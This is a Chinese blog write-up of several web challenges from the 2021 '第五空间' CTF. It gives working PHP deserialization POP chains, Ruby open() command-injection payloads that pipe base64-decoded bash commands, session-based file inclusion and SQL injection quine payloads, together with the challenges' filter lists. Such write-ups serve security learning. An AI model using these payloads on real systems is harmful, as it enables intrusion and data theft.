2021第五空间CTF_web_wp

原创

meteox 于 2021-09-20 15:25:28 发布 916 收藏 1

分类专栏： CTF 文章标签： 网络安全

本文链接：https://blog.csdn.net/meteox/article/details/120391682

web

WebFTP

这个开始时有个1.txt直接访问，里面就有包括flag等的各种环境信息，不知道是忘删了还是有师傅导出的、、、

这个程序直接GitHub上可以找到源代码，里面有个php探针，这就可以得到各种信息了

https://github.com/wifeat/WebFTP/blob/master/Readme/mytz.php

```
if (isset($_GET['act']) && $_GET['act'] == 'phpinfo'){
        phpinfo();
        exit();
}elseif(isset($_POST['act']) && $_POST['act'] == 'TEST_1'){
        $valInt = test_int();
}elseif(isset($_POST['act']) && $_POST['act'] == 'TEST_2'){
        $valFloat = test_float();
}elseif(isset($_POST['act']) && $_POST['act'] == 'TEST_3'){
        $valIo = test_io();
}elseif(isset($_POST['act']) && $_POST['act'] == '连接MySQL'){
        $mysqlReShow = 'show';
        $mysqlRe = 'MYSQL连接结果: ';
        $mysqlRe .= (false !== @mysql_connect($_POST['mysqlHost'], $_POST['mysqlUser'], $_POST['mysqlPass
        'MYSQL服务器<font color="red">连接失败</font>, ';
        $mysqlRe .= '数据库 <b>'.$_POST['mysqlDb'].'</b> ';
```


在phpinfo中可以得到flag

http://114.115.185.167:32770/Readme/mytz.php?act=phpinfo

pklovecloud

```php
<?php
include 'flag.php';
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new pkshow;
    }
    function __toString()
    {
        if (isset($this->cinder))
            return $this->cinder->echo_name();
    }
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;
    function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }
}

if (isset($_GET['pks']))
{
    $logData = unserialize($_GET['pks']);
    echo $logData;
}
else
```

```
else
{
    highlight_file(__file__);
}
?>
```

这里其实可以只将acp对象的$filename初始化为flag.php就行，php这里很奇怪，访问不存在的属性时抛出异常但是还是会返回一个null，也算是非预期解吧，看其它师傅的wp基本都是引用地址。。。

```
<?php

$a=unserialize("");
var_dump($a);//bool(false)
var_dump($a->adf);//报异常并返回null
var_dump($a->addf->asdf===null);//bool(true)
```

*docker*为空时this->openstack自然为空对象，则$this->openstack->neutron === $this->openstack->nova两侧都为null自然可绕过

```
<?php
include 'flag.php';

class acp
{
    public $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new ace();

    }

}

class ace
{
    public $filename='flag.php';
    public $openstack;
    public $docker;

}
$pop=new acp();
echo urlencode(serialize($pop));
$pop->cinder->openstack=unserialize($pop->cinder->docker);
var_dump($pop->cinder->openstack);//bool(false)
var_dump($pop->cinder->openstack->neutron);//报异常并返回NULL
var_dump($pop->cinder->openstack->neutron===$pop->cinder->openstack->asdf);//true




?>
```

预期解还是使用取地址符使$this->nova$引用this->neutron的地址

```php
//来源https://www.wolai.com/atao/gadQ8XjLaxoMSNGNgCZaJh
<?php

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct($cinder){
        $this->nova = &$this->neutron;
        $this->cinder = $cinder;
    }
}

class ace
{
    public $filename = "flag.php";
    public $openstack;
    public $docker;
    function __construct($docker){
        $this->docker = $docker;
    }
}

echo urlencode(serialize(new acp(new ace(serialize(new acp("")))))));
```

当然也可以用反序列化的格式来达到引用的目的，比如Nu1L的wp，s:4:“nova”;R:2;表示nova的值为第二个成员对象的指针引用

PHP序列化_serialize格式详解

```php
<?php
class acp
{
   protected $cinder;
   public $neutron;
   public $nova;
   function __construct()
   {
      $this->cinder = new ace();
   }
      function __toString()
   {
      if (isset($this->cinder))
         return $this->cinder->echo_name();
   }
}
class ace
{
   public $filename;
   public $openstack;
   public $docker;
   function __construct()
   {
      $this->filename = "flag.php";
      $this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
   }
   function echo_name()
   {
      $this->openstack = unserialize($this->docker);
      $this->openstack->neutron = $heat;
      if($this->openstack->neutron === $this->openstack->nova) {
         $file = "./{$this->filename}";
         if (file_get_contents($file))
         {
            return file_get_contents($file);
         }
         else
         {
            return "keystone lost~";
         }
      }
   }
}
$cls = new acp();
echo urlencode(serialize($cls))."\n";
echo $cls;
```

PNG图片转换器

```
require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"" + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end
```

乍一看没啥问题，搜也没搜到啥，后面看wp才知道是Ruby的open函数有问题
open("| command")可执行命令
https://blog.heroku.com/identifying-ruby-ftp-cve

https://ruby-doc.org/docs/ruby-doc-bundle/Manual/man-1.4/function.html#open

> open(file[, mode])
>
> open(file[, mode]){...}
>
> Opens the file, and returns a File object associated with the file. The mode argument specifies the mode for the opened file, which is either "r" , "r+" , "w" , "w+" , "a" , "a+" . See fopen(3). If mode omitted, the default is "r"
> If the file begins with "|" , Ruby performs following string as a sub-process, and associates pipes to the standard input/output of the sub-process.
> **Note for the converts from Perl**: The command string **starts** with |', not ends with |'.

知道这就简单了，贴一下Nu1L的payload

```
file=|bash -c "$(echo 'bHMgLw==' | base64 -d)" #.png
cat /FLA9_KywXAv78LbopbpBDuWsm
file=|bash -c "$(echo 'Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3Nt' | base64 -d)" #.png
```

EasyCleanup

```php
<?php

if(!isset($_GET['mode'])){
    highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
    eval($shell);
}


if(isset($_GET['file'])){
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
    include $_GET['file'];
}


function filter($var): bool{
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

    foreach($banned as $ban){
        if(strstr($var, $ban)) return True;
    }

    return False;
}

function checkNums($var): bool{
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $cnt = 0;
    for($i = 0; $i < strlen($alphanum); $i++){
        for($j = 0; $j < strlen($var); $j++){
            if($var[$j] == $alphanum[$i]){
                $cnt += 1;
                if($cnt > 8) return True;
            }
        }
    }
    return False;
}

?>
```

这个checkNums实在是限制的有点狠，想直接命令执行是真搞不出，不过提供了一个包含的功能，那就不用死磕命令执行，phpinfo中session.upload_progress.cleanup 为off，可以直接用session包含。

相关链接

之前的校赛，改下最后那题的脚本即可

yet_another_mysql_injection

```php
<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>
```

不会。。。

学习下另一个师傅的wp

> https://www.shysecurity.com/post/20140705-SQLi-Quine
> ‘union//**select**//REPLACE(REPLACE(‘“union//**select**//REPLACE(REPLACE(‘”’,CHAR(34),CHAR(39)),CHAR(94),’”’)AS//**atao#’,CHAR(34),CHAR(39)),CHAR(94),’”union**//select//**REPLACE(REPLACE(‘”’,CHAR(34),CHAR(39)),CHAR(94),’”’)AS**//atao#’)AS/**/atao#
> “union//**select**//REPLACE(REPLACE(‘”’,CHAR(34),CHAR(39)),CHAR(94),’”’)AS/**/atao#
> 第一次REPLACE
> ‘union//**select**//REPLACE(REPLACE(‘’’,CHAR(34),CHAR(39)),CHAR(94),’’’)AS/**/atao#
> 第二次REPLACE
> ‘union//**select**//REPLACE(REPLACE(‘“union//**select**//REPLACE(REPLACE(‘”’,CHAR(34),CHAR(39)),CHAR(94),’”’)AS//**atao#’,CHAR(34),CHAR(39)),CHAR(94),’”union**//select//**REPLACE(REPLACE(‘”’,CHAR(34),CHAR(39)),CHAR(94),’”’)AS**//atao#’)AS/**/atao#

Nu1L的payload

1’union//**select**//mid(11 ,65,217)//**from(select**//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17//**union**//select//*****//from//**performance_schema.threads**//where//**name**//like’%connection%’//**limit**//1,1)t#